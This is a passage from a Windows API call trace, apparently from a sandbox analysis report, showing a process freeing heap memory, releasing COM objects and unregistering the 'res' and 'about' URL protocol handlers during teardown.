dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ce70 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56ad18 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54cb70 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54cbb8 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5337e8 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54cb88 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d260 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54caf8 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533728 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54cb28 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54cae0 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54cba0 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54cac8 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54cb10 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.733] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533708 | out: hHeap=0x510000) returned 1 [0055.733] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533748 | out: hHeap=0x510000) returned 1 [0055.733] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.733] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.733] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.733] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.733] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.733] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.733] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.733] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5509f0 | out: hHeap=0x510000) returned 1 [0055.733] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5337c8 | out: hHeap=0x510000) returned 1 [0055.733] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5337a8 | out: hHeap=0x510000) returned 1 [0055.733] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533788 | out: hHeap=0x510000) returned 1 [0055.733] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533768 | out: hHeap=0x510000) returned 1 [0055.733] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53ffe0 | out: hHeap=0x510000) returned 1 [0055.733] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53ffb8 | out: hHeap=0x510000) returned 1 [0055.733] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53ff90 | out: hHeap=0x510000) returned 1 [0055.733] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x550998 | out: hHeap=0x510000) returned 1 [0055.733] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.733] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533508 | out: hHeap=0x510000) returned 1 [0055.733] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53e928 | out: hHeap=0x510000) returned 1 [0055.733] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53e980 | out: hHeap=0x510000) returned 1 [0055.733] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.733] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544410 | out: hHeap=0x510000) returned 1 [0055.733] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54c7d8 | out: hHeap=0x510000) returned 1 [0055.733] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x529490 | out: hHeap=0x510000) returned 1 [0055.733] IUnknown:Release (This=0x5444f0) returned 0x0 [0055.734] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.734] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524890 | out: hHeap=0x510000) returned 1 [0055.734] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.734] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a638 | out: hHeap=0x510000) returned 1 [0055.734] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545148 | out: hHeap=0x510000) returned 1 [0055.734] GetModuleHandleW (lpModuleName="OLEAUT32") returned 0x769d0000 [0055.734] GetProcAddress (hModule=0x769d0000, lpProcName=0xc9) returned 0x769d4af8 [0055.734] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0055.734] IInternetSession:UnregisterNameSpace (This=0x53f868, pCF=0x73158c50, pszProtocol="res") returned 0x0 [0055.734] IUnknown:Release (This=0x73158c50) returned 0x1 [0055.735] IInternetSession:UnregisterNameSpace (This=0x53f868, pCF=0x73158c70, pszProtocol="about") returned 0x0 [0055.735] IUnknown:Release (This=0x73158c70) returned 0x1 [0055.735] IUnknown:Release (This=0x53f868) returned 0x1 [0055.735] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5336c8 | out: hHeap=0x510000) returned 1 [0055.735] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x569e00 | out: hHeap=0x510000) returned 1 [0055.735] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x550840 | out: hHeap=0x510000) returned 1 [0055.735] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0055.735] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53b980 | out: hHeap=0x510000) returned 1 [0055.735] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5508b8 | out: hHeap=0x510000) returned 1 [0055.735] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d1d0 | out: hHeap=0x510000) returned 1 [0055.735] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524878 | out: hHeap=0x510000) returned 1 [0055.735] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54c900 | out: hHeap=0x510000) returned 1 [0055.735] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5507b8 | out: hHeap=0x510000) returned 1 [0055.735] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5248a8 | out: hHeap=0x510000) returned 1 [0055.735] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53b5c0 | out: hHeap=0x510000) returned 1 [0055.735] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54f430 | out: hHeap=0x510000) returned 1 [0055.735] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524848 | out: hHeap=0x510000) returned 1 [0055.735] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x549578 | out: hHeap=0x510000) returned 1 [0055.735] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53b920 | out: hHeap=0x510000) returned 1 [0055.735] IUnknown:Release (This=0x547430) returned 0x0 [0055.735] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543658 | out: hHeap=0x510000) returned 1 [0055.735] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.735] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.735] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53b7b8 | out: hHeap=0x510000) returned 1 [0055.735] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543720 | out: hHeap=0x510000) returned 1 [0055.735] DeleteDC (hdc=0x1201008e) returned 1 [0055.736] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ac8 | out: hHeap=0x510000) returned 1 [0055.736] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544a60 | out: hHeap=0x510000) returned 1 [0055.736] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x529260 | out: hHeap=0x510000) returned 1 [0055.736] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544da0 | out: hHeap=0x510000) returned 1 [0055.736] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544b38 | out: hHeap=0x510000) returned 1 [0055.736] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5292b0 | out: hHeap=0x510000) returned 1 [0055.736] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556b50 | out: hHeap=0x510000) returned 1 [0055.736] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x529210 | out: hHeap=0x510000) returned 1 [0055.736] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.736] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x529300 | out: hHeap=0x510000) returned 1 [0055.736] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55fc68 | out: hHeap=0x510000) returned 1 [0055.736] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x529350 | out: hHeap=0x510000) returned 1 [0055.736] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.736] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5293f0 | out: hHeap=0x510000) returned 1 [0055.736] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.736] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x529440 | out: hHeap=0x510000) returned 1 [0055.736] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.736] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.736] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.736] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.736] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545000 | out: hHeap=0x510000) returned 1 [0055.736] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544f68 | out: hHeap=0x510000) returned 1 [0055.736] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544f00 | out: hHeap=0x510000) returned 1 [0055.736] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544e98 | out: hHeap=0x510000) returned 1 [0055.737] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5293a0 | out: hHeap=0x510000) returned 1 [0055.737] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54e9e0 | out: hHeap=0x510000) returned 1 [0055.737] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54e988 | out: hHeap=0x510000) returned 1 [0055.737] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54e180 | out: hHeap=0x510000) returned 1 [0055.737] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54d978 | out: hHeap=0x510000) returned 1 [0055.737] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54d8e8 | out: hHeap=0x510000) returned 1 [0055.737] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53bc58 | out: hHeap=0x510000) returned 1 [0055.737] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a8e8 | out: hHeap=0x510000) returned 1 [0055.737] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5334a8 | out: hHeap=0x510000) returned 1 [0055.737] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.737] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53fae0 | out: hHeap=0x510000) returned 1 [0055.737] HeapFree (in: 